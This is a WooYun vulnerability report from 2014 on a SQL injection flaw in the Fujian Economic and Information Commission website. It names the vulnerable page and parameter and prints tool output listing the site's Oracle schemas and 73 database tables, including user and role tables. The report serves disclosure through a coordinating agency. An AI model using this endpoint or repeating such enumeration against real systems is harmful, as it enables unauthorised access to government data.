当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-050544

漏洞标题：福建省经信委sql注射漏洞

相关厂商：福建省经信委

漏洞作者： 雅柏菲卡

提交时间：2014-02-10 08:56

修复时间：2014-03-27 08:57

公开时间：2014-03-27 08:57

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-10： 细节已通知厂商并且等待厂商处理中
2014-02-15： 厂商已经确认，细节仅向厂商公开
2014-02-25： 细节向核心白帽子及相关领域专家公开
2014-03-07： 细节向普通白帽子公开
2014-03-17： 细节向实习白帽子公开
2014-03-27： 细节向公众公开

简要描述：

..............

详细说明：

....................

漏洞证明：

http://www.fjetc.gov.cn/HotTopics/HTColumnList.aspx?type=1
这个  大家都懂得  
available databases [23]
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] FJETC
[*] FJGYQY
[*] FJMBW
[*] JGDJW
[*] JMWJNXM
[*] JMWQCLT
[*] JMWSBXT
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] TSMSYS
[*] WMSYS
[*] XDB
Database: FJETC
[73 tables]
+---------------------------+
| AREACODE                  |
| CATALOG_APPLY             |
| CATALOG_INFOS             |
| COLUMN_CONFIG             |
| COLUMN_DROPDOWNLIST       |
| COLUMN_PARAMCONFIG        |
| COLUMN_RDZT               |
| COMM_BMFW                 |
| COMM_INTERVIEW_ADDTITLE   |
| COMM_INTERVIEW_ADDZJTITLE |
| COMM_INTERVIEW_COTTEN     |
| COMM_INTERVIEW_PHOTOS     |
| COMM_LETTER               |
| COMM_LETTERMONITOR        |
| COMM_LETTERVISIT          |
| COMM_LETTERVISITFILES     |
| COMM_OFTENQUESTION        |
| COMM_VOTE                 |
| COMM_VOTEITEM             |
| COMM_WSDC                 |
| COMM_WSDC_ANSWER          |
| COMM_WSDC_RESULT          |
| COMM_WSDC_THEME           |
| DATADEPORT_NEWSTYPE       |
| DIAGRAM                   |
| ECONOMY_DATAPOINTERCONFIG |
| ECONOMY_DATAPOINTERINFO   |
| ECONOMY_INFO              |
| ECONOMY_PAGEPARAMCONFIG   |
| ECONOMY_TYPECONFIG        |
| GXMH_MENU                 |
| GXMH_USER                 |
| GXMH_USERSITE             |
| LAWBREAK_INFOS            |
| LICENSETABLE_CJSFW        |
| LICENSETABLE_FIELD_INFOS  |
| LICENSETABLE_INFOS        |
| LICENSETABLE_RELEASE      |
| LICENSETABLE_REMARKS      |
| LICENSETABLE_TBDOWNLOAD   |
| LINK_INFO                 |
| NEWS_18D                  |
| NEWS_ATTACHCOLUMNTYPE     |
| NEWS_INFOS                |
| NEWS_INFOS_DEL            |
| NEWS_PROCESSCONFIG        |
| NEWS_PROSPECIALSATUS      |
| NRBZ_NEWSINFO             |
| SYNC_BTBL_CATALOG_APPLY   |
| SYNC_BTBL_CATALOG_INFOS   |
| SYNC_BTBL_COMM_LETTER     |
| SYNC_BTBL_NEWS_INFOS      |
| SYS_DEPARTMENTINFO        |
| SYS_DEPTRELATION          |
| SYS_LOG                   |
| SYS_MENUS                 |
| SYS_ROLEMENU              |
| SYS_ROLES                 |
| SYS_USERROLE              |
| SYS_USERS                 |
| TEMP1                     |
| TEMPBSXM                  |
| TEST_NEWS                 |
| TMP                       |
| TT                        |
| TT1                       |
| URL_INFOS                 |
| URL_TYPECONFIG            |
| USERINFO                  |
| VISIT_COLUMNQUANTITY      |
| VISIT_LOG                 |
| VISIT_MONTHREPORT         |
| VISIT_WEBQUANTITY         |
+---------------------------+
[23:46:55] [INFO] the SQL query used returns 78 entries
不解释了
貌似还会有 ORA-01000: 超出打开游标的最大数 的问题 请下发吧

修复方案：

好多注射，请自行排查
......................

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-02-15 09:44

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-14 14:35 | 0xCC ( 路人 | Rank:0 漏洞数:2 | 我是SB)

    经信委……